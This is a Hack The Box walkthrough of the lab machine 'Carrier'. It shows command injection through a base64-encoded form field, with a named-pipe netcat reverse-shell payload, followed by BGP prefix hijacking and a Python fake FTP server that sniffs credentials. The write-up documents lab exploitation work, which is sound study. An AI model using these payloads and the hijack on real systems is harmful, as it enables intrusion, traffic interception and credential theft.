This post documents the complete walkthrough of Carrier, a retired vulnerable VM created by snowscan, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Carrier is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
21/tcp filtered ftp     no-response
22/tcp open     ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
|   256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_  256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open     http    syn-ack ttl 62 Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
|   /:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login

nmap finds 22/tcp and 80/tcp open. In any case, let’s start with the http service. Here’s how it looks like.

It’s a login page with strange looking error codes.

Directory/File Enumeration

Let’s use wfuzz and see what we can discover.

# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404
* Wfuzz 2.3.1 - The Web Fuzzer                         *

Total requests: 950

ID   Response   Lines      Word         Chars          Payload    

000244:  C=301      9 L	      28 W	    310 Ch	  "css"
000262:  C=301      9 L	      28 W	    312 Ch	  "debug"
000294:  C=301      9 L	      28 W	    310 Ch	  "doc"
000430:  C=301      9 L	      28 W	    310 Ch	  "img"
000470:  C=301      9 L	      28 W	    309 Ch	  "js"
000844:  C=301      9 L	      28 W	    312 Ch	  "tools"

Total time: 19.44290
Processed Requests: 950
Filtered Requests: 944
Requests/sec.: 48.86101

Among the directories discovered, doc offers some valuable information. In it, there’s a PDF document containing the description of the error codes.

You can see what the two strange looking error codes mean. And the password is reset to the serial number is what I think it meant.

After a couple of enumeration rounds I still couldn’t find the serial number. It then dawned upon me that I’ve not check SNMP. It’s a web interface to a piece of hardware after all. Many hardware vendors include SNMP for their products. Let’s see if we can snmpwalk the MIB hierarchy.

What do you know! The serial number is exposed and we manage to log in with credentials (admin:NET_45JDX23),

Holy cow!

Low-Privilege Shell

While I was checking out the pages, I chanced upon the Diagnostics page. It allows built-in checks and this is how it looks like.

Doesn’t the output looks like the output of ps? There’s a hidden input field that’s submitted along with the form whenever the button Verify status is clicked.

The value to the input field check is a base64-encoded quagga.

Hmm. Something funky is going on here.

With that in mind, I wrote a bash script to investigate what’s going with the Diagnostics page.

ECHO="$(echo [email protected] | base64)"

# login
curl -c cookie \
     -d "username=admin&password=$SERIAL" \

# prettify output
curl -s \
     -b cookie \
     --data-urlencode "check=$ECHO" \
     http://$HOST/diag.php \
| xmllint --xpath "//p" --recover - 2>/dev/null \
| sed -r -e 's/></>\n</g' \
| sed -r -e 's/^<p>//' -e 's/<\/p>$//' -e '1d'


rm -f cookie

I see what’s going on here. There’s PHP code that does something like this.

shell_exec("bash -c ps waux | grep " . base64_decode($_POST['check']) . " | grep -v grep");

If I input something like this, I should get a shell, right? Let’s try it out.

--; rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 1234 > /tmp/p

Indeed. A root shell no less!

My happiness soon faded because this isn’t a root shell. Nonetheless, user.txt is located here.

You can see that the host isn’t the final host; it’s a router. It has three network interfaces.

And, here’s the routing table.

Looking at /root/.ssh/authorized_keys reveals who’s allowed to SSH into the router.

In case you are wondering, I upgraded the shell with the Python3 pty module and some stty magic.

Looking back at the debug directory, a phpinfo() page was there for the viewing.

That’s the uname -a of the web host. Further down, the server IP is shown.

Neat. Saves me the effort to hunt for it in /24 space.

A bigger problem looms. What’s next? Where do we proceed from here?

Privilege Escalation

Earlier on, the doc directory revealed the error codes. Along with it, lies the ISPs’ BGP peering layout of their respective autonomous systems (or AS).

Coupled with the tickets, we can formalized a game plan.

But before we go over the game plan, let’s confirm the BGP peering topology with vtysh -c 'show ip bgp' on r1 (that’s the host we are in. It’s running a software-based router daemon quagga capable of doing BGP).

From the information above, we can see that the prefix is advertised by AS300. That’s why the best path to is through the edge router in AS300 because it’s directly connected to AS100. As such, it’s only one hop away. Compare this to another alternative and valid route. The route must first go to the edge router in AS200 and then to the edge router in AS300.

Here’s the game plan. According to the tickets, an important FTP server I suppose, contains the golden ticket to own the system, lives in AS300. And, we have a accommodating VIP who is always trying to log in to the FTP server with his/her credentials. FTP is a plaintext protocol, which means that the credentials are also in clear. If we can somehow snoop on the traffic, we should be able to sniff out the credentials.

Enter BGP prefix hijacking. If we advertise a more specific prefix than in AS100, we can trick all the traffic bound for the FTP server to come to our router r1 in AS100 instead. Of course, we also need to set up a FTP server to pull off the ruse.

Now, let’s see what I’ve found. The FTP server is at

In addtion to FTP, the server is also running DNS and SSH service.

Which means, we can do something like this.

Now, before we modify the prefix advertisement in r1, know this. There’s a cron job that reverts quagga to its default configuration, lending evidence that I’m taking the right approach.

The above can be shown with crontab -l. And here’s what /opt/ looks like.

We need to disable the cron job. Add a comment with a # to disable it.

#*/10 * * * * /opt/

Next, advertise the most specific prefix like so. Restart quagga and wait for the advertisement to propagate to the other two AS.

The prefix is updated.

The next step involves setting a service listening at 21/tcp. I wrote a simple FTP server that does nothing but to extract the username and password; and to print it to stdout.
import socket

host = ''
port = 21

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  conn, addr = s.accept()
  with conn:
    while True:
      conn.send(b"220 Welcome to FTP\r\n")
      conn.send(b"331 User name okay need password\r\n")

Run it like so.

# python3 > ftp.txt &

The last step is to configure the network interface eth2 to and we are done.

# ifconfig eth2

Almost immediately, the credentials are printed out to /tmp/ftp.txt.

Awesome. Now, we can revert the network configurations and log in to carrier with the root credentials to claim our prize.

And our prize…



It was hell of a ride. The creator sure knows a thing or two about containers and container networking!